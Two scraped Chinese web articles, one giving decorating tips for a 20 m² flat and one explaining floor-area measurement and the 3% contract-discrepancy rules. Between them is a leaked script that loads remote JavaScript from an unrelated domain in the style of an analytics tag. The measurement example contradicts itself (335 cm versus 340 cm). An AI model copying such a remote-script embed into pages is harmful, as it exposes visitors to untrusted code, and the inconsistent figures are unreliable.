告诉你不知道的20平方小户型装修的技巧

由于今年来房价的快速增长，许多年轻人只能选择暂时购买小户型。而小户型的设计装修就成了一个不得不面对的问题。当在进行20平方小户型装修时，你需要学习以下技巧：巧用软隔断、简洁的室内装饰品、家具的灵活性、墙面色彩应淡雅、墙面色彩应淡雅、选择造型简单的灯饰。20平方小户型装修装修技巧1：巧用软隔断20平米小户型装修时，因为空间面积小，尽量使用移门或可移动的柜体进行空间的划分，减少硬隔断的使用，增加空间的可变性。20平方小户型装修装修技巧2：简洁的室内装饰品20平米小户型装修时，注意在室内装饰方面，要化繁为简，风格要统一，装饰不要过于复杂，复杂会增大空间压抑。装饰的色调要与墙面色调相近。厨房和客厅以及卧室尽量选择同一色系的壁纸，形成流畅的空间感，视觉空间扩大。20平方小户型装修装修技巧3：家具的灵活性20平米小户型装修中，在设计的时候就要考虑到小空间家具使用的空间。应选用家具的造型简约，不选择形状不规则的家具，且体积方面也要有选择小的。并且家具能够兼具除储物功能以外的其他功能，例如空间的划分，充当客厅与卧室的软隔断等功能。20平方小户型装修装修技巧4：墙面色彩应淡雅20平米小户型装修中墙面色彩的选择尤其重要，由于空间面积小，容易产生压抑感，如果大面积选深色系的颜色，很让空间显得更加压抑。而淡雅的冷色调的墙面，能在视觉上扩大空间感，减少压抑感。20平方小户型装修装修技巧5：选择造型简单的灯饰20平米小户型装修时，对于灯饰切忌选择造型过于个性和庞大的灯。需要与房内风格统一，屋顶多选择灯带，灯光分散更均与，不刺眼，更能与其他空间或连接或分隔。让灯光也能作为空间划分的软隔断。以上就是20平米小户型装修时需要掌握的五大技巧，你掌握了吗？空间虽小，但有了舒适的空间，才能更好的生活。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

房屋的平方面积怎么算？小编告诉你

人们购买房屋的时候都是以平方计算的，然而在买卖房屋的时候，大多数人会发现房屋的平方面积与公证人员测量的有些出入，其实并不是房屋的平方面积有所改变，而是人们的算法有些差别。我们要想知道房屋的平方面积就要知道其算法，哪些可以算在房屋的面积中，哪些不能算在房屋的面积中都要了解清楚。下面就教大家来计算房屋的平方面积。房屋的平方面积怎么算实地测量套内使用面积一般在开始测量时，为了保证测量的准确性，测量时要注意使测量位置距地面高1—1.2米。使用面积的测算，对房间内部测量所得到的尺寸，是房间轴线尺寸减去墙体厚度和抹面厚度的尺寸，不能作为面积中的尺寸。也就是说，根据这个尺寸算出的面积并非是使用面积。使用面积是按轴线尺寸除去结构厚度尺寸的房间内部尺寸计算的。一般来说，承重墙体是砖墙时，结构厚24cm，寒冷地区外墙结构厚度为37cm，混凝土墙结构厚度20cm或16cm，非承重墙12cm、10cm、8cm不等。一般来说，轴线位于墙体的中间，中间两侧各为半个墙厚。白灰抹面厚度一般为2～3cm(具体图纸中应标注)。测量位置在距地面1～1.2米高处，对于轴线尺寸360cm的房间，测量结果应是360-20-2.5×2=335cm。据此可推算出房间内部轴线尺寸360cm，计算尺寸340cm。尺寸误差如果在几厘米之内，说明抹灰厚度不准确、不均匀，一般不影响轴线尺寸和房间内部尺寸。测量并计算套内建筑面积测量好套内使用面积后，要计算套内建筑面积还必须测量阳台的建筑面积。阳台建筑面积的测量方法基本上与使用面积的测量方法一样，但要注意区分不同类型的阳台。计算公式如下：套内建筑面积=套内使用面积+套内墙体面积+阳台建筑面积。如商品房买卖合同以套内建筑面积或者建筑面积为计算价格,实际交付与合同约定面积不符,合同有约定按约定处理;合同没约定或约定不明确,按照以下原则处理：1、面积误差比绝对值在3%以内(含3%),按照合同约定的价格据实结算,买受人请求解除合同的,不予支持;2、面积误差比绝对值超出3%,买受人请求解除合同、返还已付购房款及利息的,应予支持。买受人同意继续履行合同,房屋实际面积大于合同约定面积的,面积误差比在3%以内(含3%)部分的房价款由买受人按照约定的价格补足,面积误差比超3%部分的房价款由出卖人承担,所有权归买受人;房屋实际面积小于合同约定面积的,面积误差比在3%以内(含3%)部分的房价款及利息由出卖人返还买受人,面积误差比超过3%部分的房价款由出卖人双倍返还买受人。算房屋的平方面积自然需要测量，对相应空间的测量是必不可少的，但是人工测量会有些许的偏差，这都是很正常的误差，但是误差不能过大，这样就会影响整体的计算，所以就要求人们在测量房屋尺寸的时候要特别细心认真，最好不要有丝毫的偏差。另外，房产证上也会有房屋的平方面积，公证人员测量的面积可能与之不同，在买卖房屋的时候是可以按照公证人员测得面积计算的。